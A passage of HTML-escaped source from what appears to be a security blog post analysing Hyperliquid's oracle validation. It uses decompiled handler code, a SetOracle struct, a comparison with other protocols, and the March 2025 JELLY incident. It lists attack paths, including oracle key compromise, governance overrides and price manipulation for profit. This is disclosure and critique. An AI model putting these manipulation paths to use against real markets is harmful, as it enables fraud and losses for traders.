&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;result_code&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="mi"&gt;352&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// ... validation failed ...
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;error&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// If should_validate = 0, the handler skips the sub_303AE10 validation step
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;success&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;See that &lt;code&gt;should_validate&lt;/code&gt; parameter? When false, oracle prices write directly to state. No checks whatsoever.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Oracle Update Validator:&lt;/strong&gt;&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-c" data-lang="c"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt; &lt;span class="nf"&gt;sub_303AE10&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kr"&gt;__int64&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;timestamp&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kt"&gt;int&lt;/span&gt; &lt;span class="n"&gt;is_testnet&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="kt"&gt;unsigned&lt;/span&gt; &lt;span class="kr"&gt;__int64&lt;/span&gt; &lt;span class="n"&gt;current_time&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="kr"&gt;__int64&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;market_state&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Rate limit based on environment
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;is_testnet&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;rate_limit&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;100&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// 100ms vs 400ms
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;rate_limit&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Check rate limit
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;market_state&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="mi"&gt;2&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;=&lt;/span&gt; &lt;span class="n"&gt;rate_limit&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;current_time&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&lt;/span&gt; &lt;span class="n"&gt;last_update_time&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_WORD&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;195&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// &amp;#34;Oracle price update too often&amp;#34;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;17&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;18&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;19&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// Timestamp bounds (within 24h window)
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;20&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="nf"&gt;sub_11C4770&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;calc&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;timestamp&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;86400&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="mi"&gt;0&lt;/span&gt;&lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;21&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v21&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;86400LL&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;date_calc&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;v14&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;22&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v23&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;1000&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt; &lt;span class="n"&gt;v21&lt;/span&gt; &lt;span class="o"&gt;+&lt;/span&gt; &lt;span class="n"&gt;v22&lt;/span&gt; &lt;span class="o"&gt;-&lt;/span&gt; &lt;span class="mi"&gt;62135683200000LL&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt; &lt;span class="c1"&gt;// Epoch ms
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;23&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;24&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// No future timestamps
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;25&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;current_time&lt;/span&gt; &lt;span class="o"&gt;&amp;gt;&lt;/span&gt; &lt;span class="n"&gt;v23&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;26&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_WORD&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;195&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;27&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;28&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;29&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;30&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// No duplicate timestamps
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;31&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="n"&gt;v38&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="n"&gt;market_state&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;32&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;v38&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;33&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;do&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;34&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;current_time&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="n"&gt;existing_timestamp&lt;/span&gt; &lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;35&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_WORD&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;196&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;36&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;37&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;38&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;while&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt; &lt;span class="n"&gt;searching&lt;/span&gt; &lt;span class="p"&gt;);&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;39&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="p"&gt;}&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;40&lt;/span&gt;&lt;span class="cl"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;41&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="c1"&gt;// SUCCESS - caller proceeds to write price to state
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;42&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;_WORD&lt;/span&gt; &lt;span class="o"&gt;*&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;&lt;span class="n"&gt;result&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="mi"&gt;352&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;43&lt;/span&gt;&lt;span class="cl"&gt; &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="n"&gt;result&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;44&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;What gets checked:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Rate limit: ≥100ms (testnet) or ≥400ms (production) between updates&lt;/li&gt;
&lt;li&gt;Timestamp in valid date range&lt;/li&gt;
&lt;li&gt;No future timestamps&lt;/li&gt;
&lt;li&gt;No duplicate timestamps&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;What doesn&amp;rsquo;t get checked:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Price magnitude&lt;/li&gt;
&lt;li&gt;Price deviation from previous values&lt;/li&gt;
&lt;li&gt;Validator signatures&lt;/li&gt;
&lt;li&gt;Authorization&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;The struct from protocol analysis:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre tabindex="0" class="chroma"&gt;&lt;code class="language-rust" data-lang="rust"&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 1&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt;/// Hip3DeployAction variant 2: SetOracle
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 2&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="sd"&gt;/// Handler: 0x1F28050, case 2
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 3&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="n"&gt;SetOracle&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 4&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sd"&gt;/// +0x38: Address of the oracle updater
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 5&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;oracle_addr&lt;/span&gt;: &lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;u8&lt;/span&gt;&lt;span class="p"&gt;;&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;20&lt;/span&gt;&lt;span class="p"&gt;],&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 6&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 7&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sd"&gt;/// +0x08: Vec of signed 64-bit prices
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 8&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sd"&gt;/// NO maximum/minimum bounds
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt; 9&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;oracle_pxs&lt;/span&gt;: &lt;span class="nb"&gt;Vec&lt;/span&gt;&lt;span class="o"&gt;&amp;lt;&lt;/span&gt;&lt;span class="kt"&gt;i64&lt;/span&gt;&lt;span class="o"&gt;&amp;gt;&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;10&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;11&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sd"&gt;/// +0x50: Oracle metadata
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;12&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;oracle_data&lt;/span&gt;: &lt;span class="nc"&gt;OracleData&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;13&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;14&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="sd"&gt;/// +0x20: External perpetual prices
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;15&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="n"&gt;external_perp_px&lt;/span&gt;: &lt;span class="nc"&gt;ExternalPerpPx&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span class="line"&gt;&lt;span class="ln"&gt;16&lt;/span&gt;&lt;span class="cl"&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;No &lt;code&gt;execution_time&lt;/code&gt;, no &lt;code&gt;delay_blocks&lt;/code&gt;, no &lt;code&gt;timelock_expiry&lt;/code&gt;. Prices write to state in the same block.&lt;/p&gt;
&lt;h3 id="governance-overrides"&gt;Governance Overrides&lt;/h3&gt;
&lt;p&gt;Even if &lt;code&gt;oracle_updater&lt;/code&gt; is honest, governance bypasses every safety check.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;OverrideMaxSignedDistancesFromOracle&lt;/strong&gt;: Normal behavior: if oracle reports ETH at $3,000 but mark price is $3,500, reject. With override: governance sets deviation limit to any value. Want 1000% deviation from market reality? Done.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;OverrideIsolatedSpotDistances &amp;amp; OverrideIsolatedExternalDistances&lt;/strong&gt; control liquidation thresholds for isolated margin. Governance can reduce safety margins to zero: a 5% move required to liquidate a 20x position becomes 0.1%.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;OverrideFundingImpactUsd&lt;/strong&gt;: Funding rates keep perp prices anchored to spot. Override to zero and massive open interest imbalances produce no funding payments. Open 100,000 ETH long, manipulate oracle to $10,000, close for $650M profit, pay zero funding.&lt;/p&gt;
&lt;h3 id="industry-comparison"&gt;Industry Comparison&lt;/h3&gt;
&lt;p&gt;Every legitimate protocol learned from Mango Markets ($110M, Oct 2022) and Cream Finance ($130M, Oct 2021). Industry standard: multiple independent oracles, timelocks, deviation caps, multi-sig, circuit breakers.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Protocol&lt;/th&gt;
&lt;th&gt;Oracle Sources&lt;/th&gt;
&lt;th&gt;Update Delay&lt;/th&gt;
&lt;th&gt;Deviation Cap&lt;/th&gt;
&lt;th&gt;Multi-sig&lt;/th&gt;
&lt;th&gt;Override&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Hyperliquid&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;1 (oracle_updater)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;None&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Bypassable&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;No (single addr)&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;&lt;strong&gt;Unlimited, instant&lt;/strong&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;dYdX v4&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;5 feeds&lt;/td&gt;
&lt;td&gt;1 hour&lt;/td&gt;
&lt;td&gt;±10%&lt;/td&gt;
&lt;td&gt;3-of-5&lt;/td&gt;
&lt;td&gt;Capped, 7-day vote&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;GMX v2&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Chainlink&lt;/td&gt;
&lt;td&gt;N/A&lt;/td&gt;
&lt;td&gt;±2.5%&lt;/td&gt;
&lt;td&gt;2-of-3&lt;/td&gt;
&lt;td&gt;None exists&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Synthetix&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Chainlink + Pyth&lt;/td&gt;
&lt;td&gt;15 min&lt;/td&gt;
&lt;td&gt;±10% circuit&lt;/td&gt;
&lt;td&gt;4-of-7&lt;/td&gt;
&lt;td&gt;48h timelock&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;&lt;strong&gt;Aave v3&lt;/strong&gt;&lt;/td&gt;
&lt;td&gt;Chainlink + fallback&lt;/td&gt;
&lt;td&gt;Grace period&lt;/td&gt;
&lt;td&gt;Staleness check&lt;/td&gt;
&lt;td&gt;Guardian&lt;/td&gt;
&lt;td&gt;24h+ delay&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h3 id="attack-surface"&gt;Attack Surface&lt;/h3&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;Compromise &lt;code&gt;oracle_updater&lt;/code&gt; private key. Phishing, infrastructure breach, insider. Instant arbitrary prices on all markets.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Governance. If a single entity controls the voting threshold, it can replace &lt;code&gt;oracle_updater&lt;/code&gt; or submit &lt;code&gt;SetOracle&lt;/code&gt; directly.&lt;/p&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;Combine with liquidation cartel. Whitelisted liquidators co-located with validators see liquidatable positions before oracle update broadcasts, pre-position to capture, zero fees maximize extraction.&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;h3 id="real-world-exercise-jelly-march-2025"&gt;Real-World Exercise: JELLY (March 2025)&lt;/h3&gt;
&lt;p&gt;Everything documented above was exercised in production on March 26, 2025.&lt;/p&gt;
&lt;p&gt;A trader &lt;a href="https://www.halborn.com/blog/post/explained-the-hyperliquid-hack-march-2025"&gt;exploited the oracle system&lt;/a&gt; via JELLYJELLY: deposited $7.17M, opened $6M short (20x on a $20M market cap token), pumped spot on Bybit to distort the oracle feed, forced self-liquidation. HLP absorbed $12M unrealized losses.&lt;/p&gt;
&lt;p&gt;Hyperliquid&amp;rsquo;s response:&lt;/p&gt;
&lt;ul&gt;
